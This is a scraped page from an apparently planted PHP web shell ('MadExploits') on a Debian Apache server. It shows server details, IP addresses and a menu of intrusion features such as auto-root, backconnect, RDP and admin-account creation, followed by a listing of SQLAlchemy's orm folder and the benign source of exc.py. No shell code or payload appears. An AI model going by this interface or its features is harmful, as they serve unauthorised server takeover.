Linux biogene 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
Apache
: 46.101.124.208 | : 18.219.58.157
Cant Read [ /etc/named.conf ]
5.6.40-0+deb8u12
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
sqlalchemy /
orm /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
7.79
KB
-rw-r--r--
__init__.pyc
9.05
KB
-rw-r--r--
attributes.py
54.22
KB
-rw-r--r--
attributes.pyc
52.92
KB
-rw-r--r--
base.py
12.91
KB
-rw-r--r--
base.pyc
13.01
KB
-rw-r--r--
collections.py
52.03
KB
-rw-r--r--
collections.pyc
59.75
KB
-rw-r--r--
dependency.py
44.99
KB
-rw-r--r--
dependency.pyc
27.71
KB
-rw-r--r--
deprecated_interfaces.py
21.43
KB
-rw-r--r--
deprecated_interfaces.pyc
24.62
KB
-rw-r--r--
descriptor_props.py
23.88
KB
-rw-r--r--
descriptor_props.pyc
26.52
KB
-rw-r--r--
dynamic.py
13.03
KB
-rw-r--r--
dynamic.pyc
14.09
KB
-rw-r--r--
evaluator.py
4.91
KB
-rw-r--r--
evaluator.pyc
6.99
KB
-rw-r--r--
events.py
68.96
KB
-rw-r--r--
events.pyc
74.7
KB
-rw-r--r--
exc.py
5.31
KB
-rw-r--r--
exc.pyc
7.46
KB
-rw-r--r--
identity.py
6.92
KB
-rw-r--r--
identity.pyc
10.32
KB
-rw-r--r--
instrumentation.py
16.39
KB
-rw-r--r--
instrumentation.pyc
18.85
KB
-rw-r--r--
interfaces.py
18.54
KB
-rw-r--r--
interfaces.pyc
22.92
KB
-rw-r--r--
loading.py
20.76
KB
-rw-r--r--
loading.pyc
13.17
KB
-rw-r--r--
mapper.py
105.8
KB
-rw-r--r--
mapper.pyc
79.27
KB
-rw-r--r--
path_registry.py
7.49
KB
-rw-r--r--
path_registry.pyc
11.72
KB
-rw-r--r--
persistence.py
39.9
KB
-rw-r--r--
persistence.pyc
30.86
KB
-rw-r--r--
properties.py
9.33
KB
-rw-r--r--
properties.pyc
10.22
KB
-rw-r--r--
query.py
128.55
KB
-rw-r--r--
query.pyc
119.57
KB
-rw-r--r--
relationships.py
108.5
KB
-rw-r--r--
relationships.pyc
93.61
KB
-rw-r--r--
scoping.py
5.96
KB
-rw-r--r--
scoping.pyc
7.22
KB
-rw-r--r--
session.py
93.63
KB
-rw-r--r--
session.pyc
87.9
KB
-rw-r--r--
state.py
20.52
KB
-rw-r--r--
state.pyc
23.98
KB
-rw-r--r--
strategies.py
53.02
KB
-rw-r--r--
strategies.pyc
40.73
KB
-rw-r--r--
strategy_options.py
31.42
KB
-rw-r--r--
strategy_options.pyc
32.5
KB
-rw-r--r--
sync.py
4.63
KB
-rw-r--r--
sync.pyc
3.87
KB
-rw-r--r--
unitofwork.py
22.69
KB
-rw-r--r--
unitofwork.pyc
22.02
KB
-rw-r--r--
util.py
34.86
KB
-rw-r--r--
util.pyc
35.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exc.py
# orm/exc.py # Copyright (C) 2005-2014 the SQLAlchemy authors and contributors # <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """SQLAlchemy ORM exceptions.""" from .. import exc as sa_exc, util NO_STATE = (AttributeError, KeyError) """Exception types that may be raised by instrumentation implementations.""" class StaleDataError(sa_exc.SQLAlchemyError): """An operation encountered database state that is unaccounted for. Conditions which cause this to happen include: * A flush may have attempted to update or delete rows and an unexpected number of rows were matched during the UPDATE or DELETE statement. Note that when version_id_col is used, rows in UPDATE or DELETE statements are also matched against the current known version identifier. * A mapped object with version_id_col was refreshed, and the version number coming back from the database does not match that of the object itself. * A object is detached from its parent object, however the object was previously attached to a different parent identity which was garbage collected, and a decision cannot be made if the new parent was really the most recent "parent". .. versionadded:: 0.7.4 """ ConcurrentModificationError = StaleDataError class FlushError(sa_exc.SQLAlchemyError): """A invalid condition was detected during flush().""" class UnmappedError(sa_exc.InvalidRequestError): """Base for exceptions that involve expected mappings not present.""" class ObjectDereferencedError(sa_exc.SQLAlchemyError): """An operation cannot complete due to an object being garbage collected. """ class DetachedInstanceError(sa_exc.SQLAlchemyError): """An attempt to access unloaded attributes on a mapped instance that is detached.""" class UnmappedInstanceError(UnmappedError): """An mapping operation was requested for an unknown instance.""" @util.dependencies("sqlalchemy.orm.base") def __init__(self, base, obj, msg=None): if not msg: try: base.class_mapper(type(obj)) name = _safe_cls_name(type(obj)) msg = ("Class %r is mapped, but this instance lacks " "instrumentation. This occurs when the instance" "is created before sqlalchemy.orm.mapper(%s) " "was called." % (name, name)) except UnmappedClassError: msg = _default_unmapped(type(obj)) if isinstance(obj, type): msg += ( '; was a class (%s) supplied where an instance was ' 'required?' % _safe_cls_name(obj)) UnmappedError.__init__(self, msg) def __reduce__(self): return self.__class__, (None, self.args[0]) class UnmappedClassError(UnmappedError): """An mapping operation was requested for an unknown class.""" def __init__(self, cls, msg=None): if not msg: msg = _default_unmapped(cls) UnmappedError.__init__(self, msg) def __reduce__(self): return self.__class__, (None, self.args[0]) class ObjectDeletedError(sa_exc.InvalidRequestError): """A refresh operation failed to retrieve the database row corresponding to an object's known primary key identity. A refresh operation proceeds when an expired attribute is accessed on an object, or when :meth:`.Query.get` is used to retrieve an object which is, upon retrieval, detected as expired. A SELECT is emitted for the target row based on primary key; if no row is returned, this exception is raised. The true meaning of this exception is simply that no row exists for the primary key identifier associated with a persistent object. The row may have been deleted, or in some cases the primary key updated to a new value, outside of the ORM's management of the target object. """ @util.dependencies("sqlalchemy.orm.base") def __init__(self, base, state, msg=None): if not msg: msg = "Instance '%s' has been deleted, or its "\ "row is otherwise not present." % base.state_str(state) sa_exc.InvalidRequestError.__init__(self, msg) def __reduce__(self): return self.__class__, (None, self.args[0]) class UnmappedColumnError(sa_exc.InvalidRequestError): """Mapping operation was requested on an unknown column.""" class NoResultFound(sa_exc.InvalidRequestError): """A database result was required but none was found.""" class MultipleResultsFound(sa_exc.InvalidRequestError): """A single database result was required but more than one were found.""" def _safe_cls_name(cls): try: cls_name = '.'.join((cls.__module__, cls.__name__)) except AttributeError: cls_name = getattr(cls, '__name__', None) if cls_name is None: cls_name = repr(cls) return cls_name @util.dependencies("sqlalchemy.orm.base") def _default_unmapped(base, cls): try: mappers = base.manager_of_class(cls).mappers except NO_STATE: mappers = {} except TypeError: mappers = {} name = _safe_cls_name(cls) if not mappers: return "Class '%s' is not mapped" % name
Close